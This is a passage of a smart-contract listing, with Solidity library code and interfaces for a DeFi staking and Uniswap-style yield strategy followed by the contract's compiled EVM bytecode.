non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity 0.8.2; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; interface INeuronPool is IERC20 { function token() external view returns (address); function claimInsurance() external; // NOTE: Only yDelegatedVault implements this function getRatio() external view returns (uint256); function depositAll() external; function deposit(uint256) external; function withdrawAll() external; function withdraw(uint256) external; function earn() external; function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity 0.8.2; interface IStakingRewards { function balanceOf(address account) external view returns (uint256); function earned(address account) external view returns (uint256); function exit() external; function getReward() external; function getRewardForDuration() external view returns (uint256); function lastTimeRewardApplicable() external view returns (uint256); function lastUpdateTime() external view returns (uint256); function notifyRewardAmount(uint256 reward) external; function periodFinish() external view returns (uint256); function rewardPerToken() external view returns (uint256); function rewardPerTokenStored() external view returns (uint256); function rewardRate() external view returns (uint256); function rewards(address) external view returns (uint256); function rewardsDistribution() external view returns (address); function rewardsDuration() external view returns (uint256); function rewardsToken() external view returns (address); function stake(uint256 amount) external; function stakeWithPermit( uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function stakingToken() external view returns (address); function totalSupply() external view returns (uint256); function userRewardPerTokenPaid(address) external view returns (uint256); function withdraw(uint256 amount) external; } interface IStakingRewardsFactory { function deploy(address stakingToken, uint256 rewardAmount) external; function isOwner() external view returns (bool); function notifyRewardAmount(address stakingToken) external; function notifyRewardAmounts() external; function owner() external view returns (address); function renounceOwnership() external; function rewardsToken() external view returns (address); function stakingRewardsGenesis() external view returns (uint256); function stakingRewardsInfoByStakingToken(address) external view returns (address stakingRewards, uint256 rewardAmount); function stakingTokens(uint256) external view returns (address); function transferOwnership(address newOwner) external; } pragma solidity 0.8.2; interface IUniswapRouterV2 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function createPair(address tokenA, address tokenB) external returns (address pair); } pragma solidity 0.8.2; interface IController { function nPools(address) external view returns (address); function rewards() external view returns (address); function devfund() external view returns (address); function treasury() external view returns (address); function balanceOf(address) external view returns (uint256); function withdraw(address, uint256) external; function earn(address, uint256) external; }
0x6080604052600436106102935760003560e01c8063853828b61161015a578063c7b9d530116100c1578063f77c47911161007a578063f77c4791146107eb578063f7c618c11461080b578063fa0e77b71461083f578063fadbfda014610854578063fc7178ca14610888578063fe1f8f7a146104a357610293565b8063c7b9d53014610743578063c9bbd04a14610763578063d0e30db01461078b578063d33219b4146107a0578063da2b77d0146107c0578063f55a2cc0146107d657610293565b8063ab73e43311610113578063ab73e4331461067e578063b9e374891461069e578063bdacb303146106c6578063c1a3d44c146106e6578063c5d9f9ce146106fb578063c6223e261461072357610293565b8063853828b6146105bd57806387976583146105d25780638b04308f146106125780638ccdbb701461062857806392eefe9b1461063e578063ab033ea91461065e57610293565b80633fc8cef3116101fe57806359739ec4116101b757806359739ec4146105105780635aa6e6751461052657806365557d17146105465780636d13582c14610566578063722713f714610588578063823785941461059d57610293565b80633fc8cef31461046c5780634641257d1461048e578063479119be146104a357806351cff8d9146104ba57806351f3d0b8146104da57806354df7b63146104f057610293565b80631f1fcd51116102505780631f1fcd51146103ac5780631fe4a686146103e0578063249fb9b41461040057806326e886c6146104205780632e1a7d4d146104365780633e0dc34e1461045657610293565b80630927c3bb146102985780630a087903146102dd578063115880861461030557806317d7de7c1461032857806318eb0e0b146103775780631cff79cd14610399575b600080fd5b3480156102a457600080fd5b506102c073dbdb4d16eda451d0503b854cf79d55697f90c8df81565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156102e957600080fd5b506102c0736b3595068778dd592e39a122f4f5a5cf09c90fe281565b34801561031157600080fd5b5061031a61089d565b6040519081526020016102d4565b34801561033457600080fd5b5060408051808201909152601c81527f53747261746567795375736869446f75626c65457468416c63784c700000000060208201525b6040516102d491906136cd565b34801561038357600080fd5b50610397610392366004613464565b610935565b005b61036a6103a736600461349c565b6109bb565b3480156103b857600080fd5b506102c07f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a881565b3480156103ec57600080fd5b506005546102c0906001600160a01b031681565b34801561040c57600080fd5b5061039761041b366004613605565b610a78565b34801561042c57600080fd5b5061031a61271081565b34801561044257600080fd5b50610397610451366004613605565b610aa7565b34801561046257600080fd5b5061031a60085481565b34801561047857600080fd5b506102c06000805160206138ee83398151915281565b34801561049a57600080fd5b50610397610e02565b3480156104af57600080fd5b5061031a620186a081565b3480156104c657600080fd5b5061031a6104d5366004613464565b611a04565b3480156104e657600080fd5b5061031a60025481565b3480156104fc57600080fd5b5061039761050b366004613464565b611b35565b34801561051c57600080fd5b5061031a60005481565b34801561053257600080fd5b506003546102c0906001600160a01b031681565b34801561055257600080fd5b50610397610561366004613605565b611bb9565b34801561057257600080fd5b506102c060008051602061390e83398151915281565b34801561059457600080fd5b5061031a611be8565b3480156105a957600080fd5b506103976105b8366004613605565b611c08565b3480156105c957600080fd5b5061031a611c37565b3480156105de57600080fd5b506106026105ed366004613464565b60076020526000908152604090205460ff1681565b60405190151581526020016102d4565b34801561061e57600080fd5b5061031a60095481565b34801561063457600080fd5b5061031a60015481565b34801561064a57600080fd5b50610397610659366004613464565b611e08565b34801561066a57600080fd5b50610397610679366004613464565b611e54565b34801561068a57600080fd5b50610397610699366004613605565b611ea0565b3480156106aa57600080fd5b506102c0737a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156106d257600080fd5b506103976106e1366004613464565b611ecf565b3480156106f257600080fd5b5061031a611f1b565b34801561070757600080fd5b506102c073c3f279090a47e80990fe3a9c30d24cb117ef91a881565b34801561072f57600080fd5b5061031a61073e366004613605565b611fb6565b34801561074f57600080fd5b5061039761075e366004613464565b61218b565b34801561076f57600080fd5b506102c073ef0881ec094552b2e128cf945ef17a6752b4ec5d81565b34801561079757600080fd5b506103976121d7565b3480156107ac57600080fd5b506006546102c0906001600160a01b031681565b3480156107cc57600080fd5b5061031a600a5481565b3480156107e257600080fd5b5061031a600081565b3480156107f757600080fd5b506004546102c0906001600160a01b031681565b34801561081757600080fd5b506102c07f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df81565b34801561084b57600080fd5b5061031a61237f565b34801561086057600080fd5b506102c07f000000000000000000000000ad447b514a6b365af81b7646bdc976ae36c1d2d181565b34801561089457600080fd5b5061031a6123c4565b6008546040516393f1a40b60e01b81526004810191909152306024820152600090819073ef0881ec094552b2e128cf945ef17a6752b4ec5d906393f1a40b90604401604080518083038186803b1580156108f657600080fd5b505afa15801561090a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092e9190613635565b5091505090565b6003546001600160a01b031633148061095857506005546001600160a01b031633145b61099a5760405162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b60448201526064015b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6006546060906001600160a01b031633146109e85760405162461bcd60e51b81526004016109919061374a565b6001600160a01b038316610a285760405162461bcd60e51b8152602060048201526007602482015266085d185c99d95d60ca1b6044820152606401610991565b600080835160208501866113885a03f43d6040519250601f19601f6020830101168301604052808352806000602085013e811560018114610a6857610a6f565b8160208501fd5b50505092915050565b6006546001600160a01b03163314610aa25760405162461bcd60e51b81526004016109919061374a565b600055565b6004546001600160a01b03163314610ad15760405162461bcd60e51b815260040161099190613705565b6040516370a0823160e01b81523060048201526000907f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a86001600160a01b0316906370a082319060240160206040518083038186803b158015610b3357600080fd5b505afa158015610b47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6b919061361d565b905081811015610b9657610b87610b8283836124db565b6124ee565b9150610b93828261256d565b91505b6000610bba620186a0610bb46002548661257990919063ffffffff16565b90612585565b9050610c76600460009054906101000a90046001600160a01b03166001600160a01b0316638d8f1e676040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0d57600080fd5b505afa158015610c21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c459190613480565b6001600160a01b037f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a8169083612591565b6000610c94620186a0610bb46001548761257990919063ffffffff16565b9050610ce7600460009054906101000a90046001600160a01b03166001600160a01b03166361d027b36040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0d57600080fd5b600480546040516308a112c160e21b81526001600160a01b037f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a8811693820193909352600092909116906322844b049060240160206040518083038186803b158015610d5257600080fd5b505afa158015610d66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8a9190613480565b90506001600160a01b038116610db25760405162461bcd60e51b81526004016109919061372a565b610dfb81610dca84610dc489886124db565b906124db565b6001600160a01b037f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a8169190612591565b5050505050565b3360009081526007602052604090205460ff1680610e2a57506003546001600160a01b031633145b80610e3f57506005546001600160a01b031633145b610e4857600080fd5b600854604051630c7e663b60e11b8152600481019190915230602482015273ef0881ec094552b2e128cf945ef17a6752b4ec5d906318fccc7690604401600060405180830381600087803b158015610e9f57600080fd5b505af1158015610eb3573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820152600092507f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df6001600160a01b031691506370a082319060240160206040518083038186803b158015610f1957600080fd5b505afa158015610f2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f51919061361d565b6040516370a0823160e01b8152306004820152909150600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906370a082319060240160206040518083038186803b158015610fa157600080fd5b505afa158015610fb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd9919061361d565b90508115611193576110197f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df60008051602061390e8339815191526125f4565b6000611036600a54610bb46009548661257990919063ffffffff16565b905080156110f8576110f8600460009054906101000a90046001600160a01b03166001600160a01b03166361d027b36040518163ffffffff1660e01b815260040160206040518083038186803b15801561108f57600080fd5b505afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c79190613480565b6001600160a01b037f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df169083612591565b6040516370a0823160e01b81523060048201527f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df6001600160a01b0316906370a082319060240160206040518083038186803b15801561115757600080fd5b505afa15801561116b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118f919061361d565b9250505b801561124a576111c5736b3595068778dd592e39a122f4f5a5cf09c90fe260008051602061390e8339815191526125f4565b6040516370a0823160e01b8152306004820152736b3595068778dd592e39a122f4f5a5cf09c90fe2906370a082319060240160206040518083038186803b15801561120f57600080fd5b505afa158015611223573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611247919061361d565b90505b811561131f57600061125d836002612585565b90506112a26001600160a01b037f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df1660008051602061390e83398151915260006126b1565b6112e46001600160a01b037f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df1660008051602061390e833981519152836126b1565b61131d7f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df6000805160206138ee833981519152836127d5565b505b80156113fd576000611332826002612585565b9050611362736b3595068778dd592e39a122f4f5a5cf09c90fe260008051602061390e83398151915260006126b1565b61138f736b3595068778dd592e39a122f4f5a5cf09c90fe260008051602061390e833981519152846126b1565b6113bc736b3595068778dd592e39a122f4f5a5cf09c90fe26000805160206138ee833981519152836127d5565b6113fb736b3595068778dd592e39a122f4f5a5cf09c90fe27f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df836127d5565b505b6040516370a0823160e01b81523060048201526000906000805160206138ee833981519152906370a082319060240160206040518083038186803b15801561144457600080fd5b505afa158015611458573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147c919061361d565b6040516370a0823160e01b81523060048201529091507f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df6001600160a01b0316906370a082319060240160206040518083038186803b1580156114de57600080fd5b505afa1580156114f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611516919061361d565b92506000811180156115285750600083115b156119f7576115556000805160206138ee83398151915260008051602061390e83398151915260006126b1565b61157c6000805160206138ee83398151915260008051602061390e833981519152836126b1565b6115bf6001600160a01b037f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df1660008051602061390e83398151915260006126b1565b6116016001600160a01b037f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df1660008051602061390e833981519152856126b1565b60008051602061390e83398151915263e8e337006000805160206138ee8339815191527f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df84876000803061165642603c61380e565b60405160e08a901b6001600160e01b03191681526001600160a01b039889166004820152968816602488015260448701959095526064860193909352608485019190915260a484015290921660c482015260e481019190915261010401606060405180830381600087803b1580156116cd57600080fd5b505af11580156116e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117059190613658565b5050506000805160206138ee8339815191526001600160a01b031663a9059cbb600460009054906101000a90046001600160a01b03166001600160a01b03166361d027b36040518163ffffffff1660e01b815260040160206040518083038186803b15801561177357600080fd5b505afa158015611787573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ab9190613480565b6040516370a0823160e01b81523060048201526000805160206138ee833981519152906370a082319060240160206040518083038186803b1580156117ef57600080fd5b505afa158015611803573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611827919061361d565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561186d57600080fd5b505af1158015611881573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a591906135e5565b506119f7600460009054906101000a90046001600160a01b03166001600160a01b03166361d027b36040518163ffffffff1660e01b815260040160206040518083038186803b1580156118f757600080fd5b505afa15801561190b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192f9190613480565b6040516370a0823160e01b81523060048201527f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df6001600160a01b0316906370a082319060240160206040518083038186803b15801561198e57600080fd5b505afa1580156119a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c6919061361d565b6001600160a01b037f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df169190612591565b6119ff6121d7565b505050565b6004546000906001600160a01b03163314611a315760405162461bcd60e51b815260040161099190613705565b816001600160a01b03167f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a86001600160a01b03161415611a9c5760405162461bcd60e51b8152600401610991906020808252600490820152631dd85b9d60e21b604082015260600190565b6040516370a0823160e01b81523060048201526001600160a01b038316906370a082319060240160206040518083038186803b158015611adb57600080fd5b505afa158015611aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b13919061361d565b600454909150611b30906001600160a01b03848116911683612591565b919050565b6003546001600160a01b0316331480611b5857506005546001600160a01b031633145b611b955760405162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b6044820152606401610991565b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6003546001600160a01b03163314611be35760405162461bcd60e51b8152600401610991906136e0565b600955565b6000611c03611bf561089d565b611bfd611f1b565b9061256d565b905090565b6006546001600160a01b03163314611c325760405162461bcd60e51b81526004016109919061374a565b600155565b6004546000906001600160a01b03163314611c645760405162461bcd60e51b815260040161099190613705565b611c6c612a63565b6040516370a0823160e01b81523060048201527f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a86001600160a01b0316906370a082319060240160206040518083038186803b158015611ccb57600080fd5b505afa158015611cdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d03919061361d565b600480546040516308a112c160e21b81526001600160a01b037f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a88116938201939093529293506000929116906322844b049060240160206040518083038186803b158015611d7057600080fd5b505afa158015611d84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da89190613480565b90506001600160a01b038116611dd05760405162461bcd60e51b81526004016109919061372a565b611e046001600160a01b037f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a8168284612591565b5090565b6006546001600160a01b03163314611e325760405162461bcd60e51b81526004016109919061374a565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b03163314611e7e5760405162461bcd60e51b8152600401610991906136e0565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b03163314611eca5760405162461bcd60e51b81526004016109919061374a565b600255565b6006546001600160a01b03163314611ef95760405162461bcd60e51b81526004016109919061374a565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6040516370a0823160e01b81523060048201526000907f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a86001600160a01b0316906370a08231906024015b60206040518083038186803b158015611f7e57600080fd5b505afa158015611f92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c03919061361d565b6004546000906001600160a01b03163314611fe35760405162461bcd60e51b815260040161099190613705565b611fec826124ee565b506040516370a0823160e01b81523060048201527f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a86001600160a01b0316906370a082319060240160206040518083038186803b15801561204c57600080fd5b505afa158015612060573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612084919061361d565b600480546040516308a112c160e21b81526001600160a01b037f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a88116938201939093529293506000929116906322844b049060240160206040518083038186803b1580156120f157600080fd5b505afa158015612105573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121299190613480565b90506001600160a01b0381166121515760405162461bcd60e51b81526004016109919061372a565b6121856001600160a01b037f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a8168284612591565b50919050565b6003546001600160a01b031633146121b55760405162461bcd60e51b8152600401610991906136e0565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6040516370a0823160e01b81523060048201526000907f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a86001600160a01b0316906370a082319060240160206040518083038186803b15801561223957600080fd5b505afa15801561224d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612271919061361d565b9050801561237c576122c26001600160a01b037f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a81673ef0881ec094552b2e128cf945ef17a6752b4ec5d60006126b1565b61230a6001600160a01b037f000000000000000000000000c3f279090a47e80990fe3a9c30d24cb117ef91a81673ef0881ec094552b2e128cf945ef17a6752b4ec5d836126b1565b600854604051638dbdbe6d60e01b815260048101919091526024810182905230604482015273ef0881ec094552b2e128cf945ef17a6752b4ec5d90638dbdbe6d90606401600060405180830381600087803b15801561236857600080fd5b505af1158015610dfb573d6000803e3d6000fd5b50565b60085460405163065509bb60e21b8152600481019190915230602482015260009073ef0881ec094552b2e128cf945ef17a6752b4ec5d9063195426ec90604401611f66565b60085460405163c346253d60e01b81526004810191909152600090819073ef0881ec094552b2e128cf945ef17a6752b4ec5d9063c346253d9060240160206040518083038186803b15801561241857600080fd5b505afa15801561242c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124509190613480565b6008546040516312390ebd60e21b815260048101919091523060248201529091506001600160a01b038216906348e43af49060440160206040518083038186803b15801561249d57600080fd5b505afa1580156124b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124d5919061361d565b91505090565b60006124e78284613865565b9392505050565b600854604051630ad58d2f60e01b815260048101919091526024810182905230604482015260009073ef0881ec094552b2e128cf945ef17a6752b4ec5d90630ad58d2f90606401600060405180830381600087803b15801561254f57600080fd5b505af1158015612563573d6000803e3d6000fd5b5093949350505050565b60006124e7828461380e565b60006124e78284613846565b60006124e78284613826565b6040516001600160a01b0383166024820152604481018290526119ff90849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612a6e565b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b15801561263657600080fd5b505afa15801561264a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061266e919061361d565b9050600081118015612681575060008054115b156119ff5760006126a3612710610bb46000548561257990919063ffffffff16565b905080610dfb858286612b40565b80158061273a5750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b15801561270057600080fd5b505afa158015612714573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612738919061361d565b155b6127a55760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610991565b6040516001600160a01b0383166024820152604481018290526119ff90849063095ea7b360e01b906064016125bd565b6001600160a01b0382166127e857600080fd5b60606001600160a01b0384166000805160206138ee833981519152148061282557506001600160a01b0383166000805160206138ee833981519152145b156128d3576040805160028082526060820183529091602083019080368337019050509050838160008151811061286c57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b03168152505082816001815181106128ae57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250506129c9565b604080516003808252608082019092529060208201606080368337019050509050838160008151811061291657634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250506000805160206138ee8339815191528160018151811061296657634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b03168152505082816002815181106129a857634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250505b60008051602061390e8339815191526338ed173983600084306129ed42603c61256d565b6040518663ffffffff1660e01b8152600401612a0d95949392919061376d565b600060405180830381600087803b158015612a2757600080fd5b505af1158015612a3b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610dfb919081019061353e565b61237c610b8261089d565b6000612ac3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612fdd9092919063ffffffff16565b8051909150156119ff5780806020019051810190612ae191906135e5565b6119ff5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610991565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a082319060240160206040518083038186803b158015612b8257600080fd5b505afa158015612b96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bba919061361d565b905082811015612c185760405162461bcd60e51b815260206004820152602360248201527f416d6f756e7420697320626967676572207468616e20746f6b656e2062616c616044820152626e636560e81b6064820152608401610991565b612c2d6001600160a01b0385168360006126b1565b612c476000805160206138ee8339815191528360006126b1565b612c5b6001600160a01b03851683856126b1565b612c766000805160206138ee833981519152836000196126b1565b6000612ca483867f000000000000000000000000ad447b514a6b365af81b7646bdc976ae36c1d2d187612ff4565b90508015612e0e576040516370a0823160e01b81523060048201526000907f000000000000000000000000ad447b514a6b365af81b7646bdc976ae36c1d2d16001600160a01b0316906370a082319060240160206040518083038186803b158015612d0e57600080fd5b505afa158015612d22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d46919061361d565b90508015612e0857612e08600460009054906101000a90046001600160a01b03166001600160a01b03166361d027b36040518163ffffffff1660e01b815260040160206040518083038186803b158015612d9f57600080fd5b505afa158015612db3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dd79190613480565b6001600160a01b037f000000000000000000000000ad447b514a6b365af81b7646bdc976ae36c1d2d1169083612591565b50610dfb565b612ea9600460009054906101000a90046001600160a01b03166001600160a01b03166361d027b36040518163ffffffff1660e01b815260040160206040518083038186803b158015612e5f57600080fd5b505afa158015612e73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e979190613480565b6001600160a01b0387169060006126b1565b612f43600460009054906101000a90046001600160a01b03166001600160a01b03166361d027b36040518163ffffffff1660e01b815260040160206040518083038186803b158015612efa57600080fd5b505afa158015612f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f329190613480565b6001600160a01b03871690866126b1565b610dfb600460009054906101000a90046001600160a01b03166001600160a01b03166361d027b36040518163ffffffff1660e01b815260040160206040518083038186803b158015612f9457600080fd5b505afa158015612fa8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fcc9190613480565b6001600160a01b0387169086612591565b6060612fec8484600085613303565b949350505050565b60006001600160a01b03831661300957600080fd5b6001600160a01b0385166130795760405162461bcd60e51b815260206004820152603160248201527f5f7377617057697468556e694c696b65526f7574657220726f75746572416464604482015270726573732063616e74206265207a65726f60781b6064820152608401610991565b60606001600160a01b0385166000805160206138ee83398151915214806130b657506001600160a01b0384166000805160206138ee833981519152145b1561316457604080516002808252606082018352909160208301908036833701905050905084816000815181106130fd57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811061313f57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b03168152505061325a565b60408051600380825260808201909252906020820160608036833701905050905084816000815181106131a757634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250506000805160206138ee833981519152816001815181106131f757634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250508381600281518110613239